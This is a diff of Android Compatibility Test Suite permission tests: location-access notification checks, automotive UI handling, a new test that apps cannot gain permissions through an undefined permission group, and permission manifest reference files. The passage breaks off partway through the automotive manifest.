diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 62a5a44..53b7d18 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -20,6 +20,7 @@
import static android.Manifest.permission.ACCESS_FINE_LOCATION;
import static android.app.Notification.EXTRA_TITLE;
import static android.content.Context.BIND_AUTO_CREATE;
+import static android.content.Context.BIND_NOT_FOREGROUND;
import static android.content.Intent.ACTION_BOOT_COMPLETED;
import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
import static android.location.Criteria.ACCURACY_FINE;
@@ -34,6 +35,7 @@
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
@@ -56,6 +58,8 @@
import android.os.Bundle;
import android.os.IBinder;
import android.os.Looper;
+import android.os.SystemClock;
+import android.permission.cts.appthataccesseslocation.IAccessLocationOnCommand;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.SecurityTest;
import android.provider.DeviceConfig;
@@ -101,7 +105,8 @@
"/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk";
/** Whether to show location access check notifications. */
- private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED = "location_access_check_enabled";
+ private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED =
+ "location_access_check_enabled";
private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
@@ -125,28 +130,20 @@
*/
private static Boolean sCanAccessFineLocation = null;
- private ServiceConnection mConnection;
+ private static ServiceConnection sConnection;
+ private static IAccessLocationOnCommand sLocationAccessor;
+
/**
* Connected to {@value #TEST_APP_PKG} and make it access the location in the background
*/
- private void accessLocation() {
- mConnection = new ServiceConnection() {
- @Override
- public void onServiceConnected(ComponentName name, IBinder service) {
- // ignore
- }
-
- @Override
- public void onServiceDisconnected(ComponentName name) {
- // ignore
- }
- };
-
- // Connect and disconnect to service. After the service is disconnected it causes a
- // access to the location
- Intent testAppService = new Intent();
- testAppService.setComponent(new ComponentName(TEST_APP_PKG, TEST_APP_SERVICE));
- sContext.bindService(testAppService, mConnection, BIND_AUTO_CREATE);
+ private void accessLocation() throws Throwable {
+ if (sConnection == null || sLocationAccessor == null) {
+ bindService();
+ }
+ eventually(() -> {
+ assertNotNull(sLocationAccessor);
+ sLocationAccessor.accessLocation();
+ }, EXPECTED_TIMEOUT_MILLIS);
}
/**
@@ -183,9 +180,7 @@
*
* @param r The {@link ThrowingCallable} to run.
* @param timeout the maximum time to wait
- *
* @return the return value from the callable
- *
* @throws NullPointerException If the return value never becomes non-null
*/
public static <T> T eventually(@NonNull ThrowingCallable<T> r, long timeout) throws Throwable {
@@ -225,6 +220,7 @@
* @param pkg The name of the package to be cleared
*/
private static void clearPackageData(@NonNull String pkg) {
+ unbindService();
runShellCommand("pm clear --user -2 " + pkg);
}
@@ -254,16 +250,24 @@
return null;
}
+ private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
+ return getNotification(cancelNotification, false);
+ }
+
/**
* Get a location access notification that is currently visible.
*
* @param cancelNotification if {@code true} the notification is canceled inside this method
- *
+ * @param returnImmediately if {@code true} this method returns immediately after checking once
+ * for the notification
* @return The notification or {@code null} if there is none
*/
- private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
+ private StatusBarNotification getNotification(boolean cancelNotification,
+ boolean returnImmediately) throws Throwable {
NotificationListenerService notificationService = NotificationListener.getInstance();
- long start = System.currentTimeMillis();
+ long start = SystemClock.elapsedRealtime();
+ long timeout = returnImmediately ? 0 : LOCATION_ACCESS_TIMEOUT_MILLIS
+ + BACKGROUND_ACCESS_SETTLE_TIME;
while (true) {
runLocationCheck();
@@ -271,8 +275,7 @@
if (notification == null) {
// Sometimes getting a location takes some time, hence not getting a notification
// can be caused by not having gotten a location yet
- if (System.currentTimeMillis() - start < LOCATION_ACCESS_TIMEOUT_MILLIS
- + BACKGROUND_ACCESS_SETTLE_TIME) {
+ if (SystemClock.elapsedRealtime() - start < timeout) {
Thread.sleep(200);
continue;
}
@@ -336,19 +339,42 @@
@BeforeClass
public static void installBackgroundAccessApp() {
- runShellCommand("pm install -r -g " + TEST_APP_LOCATION_BG_ACCESS_APK);
+ installBackgroundAccessApp(false);
+ }
+
+ private static void installBackgroundAccessApp(boolean isDowngrade) {
+ String command = "pm install -r -g ";
+ if (isDowngrade) {
+ command = command + "-d ";
+ }
+ String output = runShellCommand(command + TEST_APP_LOCATION_BG_ACCESS_APK);
+ assertTrue(output.contains("Success"));
}
@AfterClass
public static void uninstallBackgroundAccessApp() {
+ unbindService();
runShellCommand("pm uninstall " + TEST_APP_PKG);
}
+ private static void unbindService() {
+ if (sConnection != null) {
+ sContext.unbindService(sConnection);
+ }
+ sConnection = null;
+ sLocationAccessor = null;
+ }
+
private static void installForegroundAccessApp() {
+ unbindService();
runShellCommand("pm install -r -g " + TEST_APP_LOCATION_FG_ACCESS_APK);
}
+ private static void uninstallForegroundAccessApp() {
+ runShellCommand("pm uninstall " + TEST_APP_LOCATION_FG_ACCESS_APK);
+ }
+
/**
* Skip each test for low ram device
*/
@@ -357,6 +383,27 @@
assumeFalse(sActivityManager.isLowRamDevice());
}
+ @Before
+ public void bindService() {
+ sConnection = new ServiceConnection() {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ sLocationAccessor = IAccessLocationOnCommand.Stub.asInterface(service);
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ sConnection = null;
+ sLocationAccessor = null;
+ }
+ };
+
+ Intent testAppService = new Intent();
+ testAppService.setComponent(new ComponentName(TEST_APP_PKG, TEST_APP_SERVICE));
+
+ sContext.bindService(testAppService, sConnection, BIND_AUTO_CREATE | BIND_NOT_FOREGROUND);
+ }
+
/**
* Reset the permission controllers state before each test
*/
@@ -481,7 +528,7 @@
@AfterClass
public static void disallowNotificationAccess() {
runShellCommand("cmd notification disallow_listener " + (new ComponentName(sContext,
- NotificationListener.class)).flattenToString());
+ NotificationListener.class)).flattenToString());
}
/**
@@ -510,10 +557,9 @@
}
@After
- public void locationUnbind() {
- if (mConnection != null) {
- sContext.unbindService(mConnection);
- }
+ public void locationUnbind() throws Throwable {
+ unbindService();
+ getNotification(true, true);
}
@Test
@@ -523,7 +569,7 @@
}
@Test
- @SecurityTest(minPatchLevel="2019-12-01")
+ @SecurityTest(minPatchLevel = "2019-12-01")
public void notificationIsShownOnlyOnce() throws Throwable {
accessLocation();
getNotification(true);
@@ -532,7 +578,7 @@
}
@Test
- @SecurityTest(minPatchLevel="2019-12-01")
+ @SecurityTest(minPatchLevel = "2019-12-01")
public void notificationIsShownAgainAfterClear() throws Throwable {
accessLocation();
getNotification(true);
@@ -564,12 +610,12 @@
eventually(() -> {
accessLocation();
- assertNotNull(getNotification(false));
+ assertNotNull(getNotification(true));
}, UNEXPECTED_TIMEOUT_MILLIS);
}
@Test
- @SecurityTest(minPatchLevel="2019-12-01")
+ @SecurityTest(minPatchLevel = "2019-12-01")
public void removeNotificationOnUninstall() throws Throwable {
accessLocation();
getNotification(false);
@@ -604,12 +650,12 @@
fail("Location access notification was shown");
} finally {
- installBackgroundAccessApp();
+ installBackgroundAccessApp(true);
}
}
@Test
- @SecurityTest(minPatchLevel="2019-12-01")
+ @SecurityTest(minPatchLevel = "2019-12-01")
public void noNotificationIfFeatureDisabled() throws Throwable {
disableLocationAccessCheck();
accessLocation();
@@ -617,7 +663,7 @@
}
@Test
- @SecurityTest(minPatchLevel="2019-12-01")
+ @SecurityTest(minPatchLevel = "2019-12-01")
public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
// Disable the feature and access location in disabled state
disableLocationAccessCheck();
@@ -634,8 +680,9 @@
}
@Test
- @SecurityTest(minPatchLevel="2019-12-01")
+ @SecurityTest(minPatchLevel = "2019-12-01")
public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
+ getNotification(true);
// Blame the app for access from an untrusted for notification purposes package.
runWithShellPermissionIdentity(() -> {
AppOpsManager appOpsManager = sContext.getSystemService(AppOpsManager.class);
@@ -646,7 +693,7 @@
}
@Test
- @SecurityTest(minPatchLevel="2019-12-01")
+ @SecurityTest(minPatchLevel = "2019-12-01")
public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index 656f6ad..5670cc1 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -43,6 +43,7 @@
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
import java.util.concurrent.CompletableFuture;
@@ -70,6 +71,10 @@
private String mOldOneTimePermissionTimeoutValue;
+ @Rule
+ public IgnoreAllTestsRule mIgnoreAutomotive = new IgnoreAllTestsRule(
+ mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
@Before
public void wakeUpScreen() {
SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index 1466cb8..37a448b 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -30,7 +30,9 @@
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.content.res.Resources;
import android.platform.test.annotations.SecurityTest;
+import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
@@ -53,6 +55,7 @@
private Context mContext;
private UiDevice mUiDevice;
+ private String mAllowButtonText = null;
@Before
public void setContextAndUiDevice() {
@@ -100,8 +103,15 @@
}
protected void clickAllowButton() throws Exception {
- mUiDevice.findObject(new UiSelector().resourceId(
- "com.android.permissioncontroller:id/permission_allow_button")).click();
+ if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ if (mAllowButtonText == null) {
+ mAllowButtonText = getPermissionControllerString("grant_dialog_button_allow");
+ }
+ mUiDevice.findObject(By.text(mAllowButtonText)).click();
+ } else {
+ mUiDevice.findObject(By.res(
+ "com.android.permissioncontroller:id/permission_allow_button")).click();
+ }
}
private void grantPermissionViaUi() throws Throwable {
@@ -174,6 +184,15 @@
}
}
+ private String getPermissionControllerString(String res)
+ throws PackageManager.NameNotFoundException {
+ Resources permissionControllerResources = mContext.createPackageContext(
+ mContext.getPackageManager().getPermissionControllerPackageName(), 0)
+ .getResources();
+ return permissionControllerResources.getString(permissionControllerResources
+ .getIdentifier(res, "string", "com.android.permissioncontroller"));
+ }
+
private interface ThrowingRunnable {
void run() throws Throwable;
}
diff --git a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
index fac3aab..8609e33 100644
--- a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
+++ b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
@@ -25,18 +25,14 @@
import static android.content.Context.WIFI_P2P_SERVICE;
import static android.content.Context.WIFI_SERVICE;
-import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNull;
-import android.app.WallpaperManager;
import android.content.Context;
import android.platform.test.annotations.AppModeInstant;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.RequiredServiceRule;
-
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -72,14 +68,8 @@
@Test
public void cannotGetWallpaperManager() {
- WallpaperManager mgr = (WallpaperManager) InstrumentationRegistry.getTargetContext()
- .getSystemService(WALLPAPER_SERVICE);
- boolean supported = RequiredServiceRule.hasService("wallpaper");
- if (supported) {
- assertNull(mgr);
- } else {
- assertFalse(mgr.isWallpaperSupported());
- }
+ assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+ WALLPAPER_SERVICE));
}
@Test
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
new file mode 100644
index 0000000..ba9212b
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission.cts
+
+import android.Manifest.permission.CAMERA
+import android.Manifest.permission.RECORD_AUDIO
+import android.app.Instrumentation
+import android.content.ComponentName
+import android.content.Context
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.os.Process
+import android.support.test.uiautomator.By
+import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiObjectNotFoundException
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
+import org.junit.After
+import org.junit.Assert
+import org.junit.Before
+import org.junit.Test
+
+/**
+ * Tests that the permissioncontroller behaves normally when an app defines a permission in the
+ * android.permission-group.UNDEFINED group
+ */
+class UndefinedGroupPermissionTest {
+ private var mInstrumentation: Instrumentation? = null
+ private var mUiDevice: UiDevice? = null
+ private var mContext: Context? = null
+ private var mPm: PackageManager? = null
+
+ @Before
+ fun install() {
+ SystemUtil.runShellCommand("pm install -r " +
+ "$TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK")
+ }
+
+ @Before
+ fun setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation()
+ mUiDevice = UiDevice.getInstance(mInstrumentation)
+ mContext = mInstrumentation?.targetContext
+ mPm = mContext?.packageManager
+ }
+
+ @Before
+ fun wakeUpScreenAndUnlock() {
+ SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP")
+ SystemUtil.runShellCommand("input keyevent KEYCODE_MENU")
+ }
+
+ @Test
+ fun testOtherGroupPermissionsNotGranted_1() {
+ testOtherGroupPermissionsNotGranted(CAMERA, RECORD_AUDIO)
+ }
+
+ @Test
+ fun testOtherGroupPermissionsNotGranted_2() {
+ testOtherGroupPermissionsNotGranted(TEST, RECORD_AUDIO)
+ }
+
+ @Test
+ fun testOtherGroupPermissionsNotGranted_3() {
+ testOtherGroupPermissionsNotGranted(CAMERA, TEST)
+ }
+
+ /**
+ * When the custom permission is granted nothing else gets granted as a byproduct.
+ */
+ @Test
+ fun testCustomPermissionGrantedAlone() {
+ Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
+ PackageManager.PERMISSION_DENIED)
+ Assert.assertEquals(mPm!!.checkPermission(RECORD_AUDIO, APP_PKG_NAME),
+ PackageManager.PERMISSION_DENIED)
+ Assert.assertEquals(mPm!!.checkPermission(TEST, APP_PKG_NAME),
+ PackageManager.PERMISSION_DENIED)
+ eventually {
+ startRequestActivity(arrayOf(TEST))
+ mUiDevice!!.waitForIdle()
+ waitFindObject(By.res(
+ "com.android.permissioncontroller:id/permission_allow_button"),
+ 100).click()
+ }
+ eventually {
+ Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
+ PackageManager.PERMISSION_DENIED)
+ Assert.assertEquals(mPm!!.checkPermission(RECORD_AUDIO, APP_PKG_NAME),
+ PackageManager.PERMISSION_DENIED)
+ Assert.assertEquals(mPm!!.checkPermission(TEST, APP_PKG_NAME),
+ PackageManager.PERMISSION_GRANTED)
+ }
+ }
+
+ @After
+ fun uninstall() {
+ SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
+ }
+
+ /**
+ * If app has one permission granted, then it can't grant itself another permission for free.
+ */
+ fun testOtherGroupPermissionsNotGranted(grantedPerm: String, targetPermission: String) {
+ // Grant the permission in the background
+ SystemUtil.runWithShellPermissionIdentity {
+ mPm!!.grantRuntimePermission(
+ APP_PKG_NAME, grantedPerm, Process.myUserHandle())
+ }
+ Assert.assertEquals("$grantedPerm not granted.", mPm!!.checkPermission(grantedPerm,
+ APP_PKG_NAME), PackageManager.PERMISSION_GRANTED)
+
+ // If the dialog shows, success. If not then either the UI is broken or the permission was
+ // granted in the background.
+ eventually {
+ startRequestActivity(arrayOf(targetPermission))
+ mUiDevice!!.waitForIdle()
+ try {
+ waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+ } catch (e: UiObjectNotFoundException) {
+ Assert.assertEquals("grant dialog never showed.",
+ mPm!!.checkPermission(targetPermission,
+ APP_PKG_NAME), PackageManager.PERMISSION_GRANTED)
+ }
+ }
+ Assert.assertEquals(mPm!!.checkPermission(targetPermission, APP_PKG_NAME),
+ PackageManager.PERMISSION_DENIED)
+ }
+
+ private fun startRequestActivity(permissions: Array<String>) {
+ mContext!!.startActivity(Intent()
+ .setComponent(
+ ComponentName(APP_PKG_NAME, "$APP_PKG_NAME.RequestPermissions"))
+ .putExtra(EXTRA_PERMISSIONS, permissions)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
+ }
+
+ companion object {
+ private const val TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK =
+ "/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk"
+ private const val APP_PKG_NAME = "android.permission.cts.appthatrequestpermission"
+ private const val EXTRA_PERMISSIONS =
+ "android.permission.cts.appthatrequestpermission.extra.PERMISSIONS"
+ const val TEST = "android.permission.cts.appthatrequestpermission.TEST"
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl b/tests/tests/permission/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
new file mode 100644
index 0000000..be92ed1
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthataccesseslocation;
+
+interface IAccessLocationOnCommand {
+ /** Access location on command */
+ void accessLocation();
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 2f4d98c..3627195 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -4818,7 +4818,7 @@
<!-- @SystemApi Allows an application to turn on / off quiet mode.
@hide -->
<permission android:name="android.permission.MODIFY_QUIET_MODE"
- android:protectionLevel="signature|privileged|wellbeing" />
+ android:protectionLevel="signature|privileged|wellbeing|development" />
<!-- Allows internal management of the camera framework
@hide -->
@@ -4995,6 +4995,10 @@
<permission android:name="android.permission.ACCESS_TV_DESCRAMBLER"
android:protectionLevel="signature|privileged|vendorPrivileged" />
+ <!-- Allows an application to create trusted displays. @hide -->
+ <permission android:name="android.permission.ADD_TRUSTED_DISPLAY"
+ android:protectionLevel="signature" />
+
<!-- @hide @SystemApi Allows an application to access locusId events in the usage stats. -->
<permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
android:protectionLevel="signature|appPredictor" />
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index dac484b..dd37ac9 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -15,205 +15,340 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="com.android.car"
- coreApp="true"
- android:sharedUserId="android.uid.system">
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="com.android.car"
+ coreApp="true"
+ android:sharedUserId="android.uid.system">
- <original-package android:name="com.android.car" />
- <permission-group
- android:name="android.car.permission-group.CAR_MONITORING"
- android:icon="@drawable/perm_group_car"
- android:description="@string/car_permission_desc"
- android:label="@string/car_permission_label" />
- <permission
- android:name="android.car.permission.CAR_ENERGY"
- android:permissionGroup="android.car.permission-group.CAR_MONITORING"
- android:protectionLevel="dangerous"
- android:label="@string/car_permission_label_energy"
- android:description="@string/car_permission_desc_energy" />
- <permission
- android:name="android.car.permission.CAR_IDENTIFICATION"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_car_identification"
- android:description="@string/car_permission_desc_car_identification" />
- <permission
- android:name="android.car.permission.CONTROL_CAR_CLIMATE"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_hvac"
- android:description="@string/car_permission_desc_hvac" />
- <permission
- android:name="android.car.permission.CONTROL_CAR_DOORS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_control_car_doors"
- android:description="@string/car_permission_desc_control_car_doors" />
- <permission
- android:name="android.car.permission.CONTROL_CAR_WINDOWS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_control_car_windows"
- android:description="@string/car_permission_desc_control_car_windows" />
- <permission
- android:name="android.car.permission.CONTROL_CAR_MIRRORS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_control_car_mirrors"
- android:description="@string/car_permission_desc_control_car_mirrors" />
- <permission
- android:name="android.car.permission.CONTROL_CAR_SEATS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_control_car_seats"
- android:description="@string/car_permission_desc_control_car_seats" />
- <permission
- android:name="android.car.permission.CAR_MILEAGE"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_mileage"
- android:description="@string/car_permission_desc_mileage" />
- <permission
- android:name="android.car.permission.CAR_TIRES"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_car_tires"
- android:description="@string/car_permission_desc_car_tires" />
- <permission
- android:name="android.car.permission.READ_CAR_STEERING"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_car_steering"
- android:description="@string/car_permission_desc_car_steering" />
- <permission
- android:name="android.car.permission.READ_CAR_DISPLAY_UNITS"
- android:protectionLevel="normal"
- android:label="@string/car_permission_label_read_car_display_units"
- android:description="@string/car_permission_desc_read_car_display_units" />
- <permission
- android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS"
- android:protectionLevel="normal"
- android:label="@string/car_permission_label_control_car_display_units"
- android:description="@string/car_permission_desc_control_car_display_units" />
- <permission
- android:name="android.car.permission.CAR_SPEED"
- android:permissionGroup="android.permission-group.LOCATION"
- android:protectionLevel="dangerous"
- android:label="@string/car_permission_label_speed"
- android:description="@string/car_permission_desc_speed" />
- <permission
- android:name="android.car.permission.CAR_ENERGY_PORTS"
- android:protectionLevel="normal"
- android:label="@string/car_permission_label_car_energy_ports"
- android:description="@string/car_permission_desc_car_energy_ports" />
- <permission
- android:name="android.car.permission.CAR_ENGINE_DETAILED"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_car_engine_detailed"
- android:description="@string/car_permission_desc_car_engine_detailed" />
- <permission
- android:name="android.car.permission.CAR_DYNAMICS_STATE"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_vehicle_dynamics_state"
- android:description="@string/car_permission_desc_vehicle_dynamics_state" />
- <permission
- android:name="android.car.permission.CAR_VENDOR_EXTENSION"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_vendor_extension"
- android:description="@string/car_permission_desc_vendor_extension" />
- <permission
- android:name="android.car.permission.CAR_PROJECTION"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_projection"
- android:description="@string/car_permission_desc_projection" />
- <permission
- android:name="android.car.permission.ACCESS_CAR_PROJECTION_STATUS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_access_projection_status"
- android:description="@string/car_permission_desc_access_projection_status" />
- <permission
- android:name="android.car.permission.BIND_PROJECTION_SERVICE"
- android:protectionLevel="signature"
- android:label="@string/car_permission_label_bind_projection_service"
- android:description="@string/car_permission_desc_bind_projection_service" />
- <permission
- android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_mock_vehicle_hal"
- android:description="@string/car_permission_desc_mock_vehicle_hal" />
- <permission
- android:name="android.car.permission.CAR_INFO"
- android:protectionLevel="normal"
- android:label="@string/car_permission_label_car_info"
- android:description="@string/car_permission_desc_car_info" />
- <permission
- android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT"
- android:protectionLevel="normal"
- android:label="@string/car_permission_label_car_exterior_environment"
- android:description="@string/car_permission_desc_car_exterior_environment" />
- <permission
- android:name="android.car.permission.CAR_EXTERIOR_LIGHTS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_car_exterior_lights"
- android:description="@string/car_permission_desc_car_exterior_lights" />
- <permission
- android:name="android.car.permission.CONTROL_CAR_EXTERIOR_LIGHTS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_control_car_exterior_lights"
- android:description="@string/car_permission_desc_control_car_exterior_lights" />
- <permission
- android:name="android.car.permission.READ_CAR_INTERIOR_LIGHTS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_car_interior_lights"
- android:description="@string/car_permission_desc_car_interior_lights" />
- <permission
- android:name="android.car.permission.CONTROL_CAR_INTERIOR_LIGHTS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_control_car_interior_lights"
- android:description="@string/car_permission_desc_control_car_interior_lights" />
- <permission
- android:name="android.car.permission.CAR_POWER"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_car_power"
- android:description="@string/car_permission_desc_car_power" />
- <permission
- android:name="android.car.permission.CAR_POWERTRAIN"
- android:protectionLevel="normal"
- android:label="@string/car_permission_label_car_powertrain"
- android:description="@string/car_permission_desc_car_powertrain" />
- <permission
- android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_car_navigation_manager"
- android:description="@string/car_permission_desc_car_navigation_manager" />
- <permission
- android:name="android.car.permission.CAR_DIAGNOSTICS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_diag_read"
- android:description="@string/car_permission_desc_diag_read" />
- <permission
- android:name="android.car.permission.CLEAR_CAR_DIAGNOSTICS"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_diag_clear"
- android:description="@string/car_permission_desc_diag_clear" />
- <permission
- android:name="android.car.permission.BIND_VMS_CLIENT"
- android:protectionLevel="signature"
- android:label="@string/car_permission_label_bind_vms_client"
- android:description="@string/car_permission_desc_bind_vms_client" />
- <permission
- android:name="android.car.permission.VMS_PUBLISHER"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_vms_publisher"
- android:description="@string/car_permission_desc_vms_publisher" />
- <permission
- android:name="android.car.permission.VMS_SUBSCRIBER"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_vms_subscriber"
- android:description="@string/car_permission_desc_vms_subscriber" />
- <permission
- android:name="android.car.permission.CAR_DRIVING_STATE"
- android:protectionLevel="system|signature"
- android:label="@string/car_permission_label_driving_state"
- android:description="@string/car_permission_desc_driving_state" />
+ <original-package android:name="com.android.car"/>
+ <permission-group android:name="android.car.permission-group.CAR_MONITORING"
+ android:icon="@drawable/perm_group_car"
+ android:description="@string/car_permission_desc"
+ android:label="@string/car_permission_label"/>
+ <permission android:name="android.car.permission.CAR_ENERGY"
+ android:permissionGroup="android.car.permission-group.CAR_MONITORING"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_energy"
+ android:description="@string/car_permission_desc_energy"/>
+ <permission android:name="android.car.permission.CAR_IDENTIFICATION"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_car_identification"
+ android:description="@string/car_permission_desc_car_identification"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_CLIMATE"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_hvac"
+ android:description="@string/car_permission_desc_hvac"/>
+ <permission android:name="android.car.permission.CONTROL_CAR_DOORS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_control_car_doors"
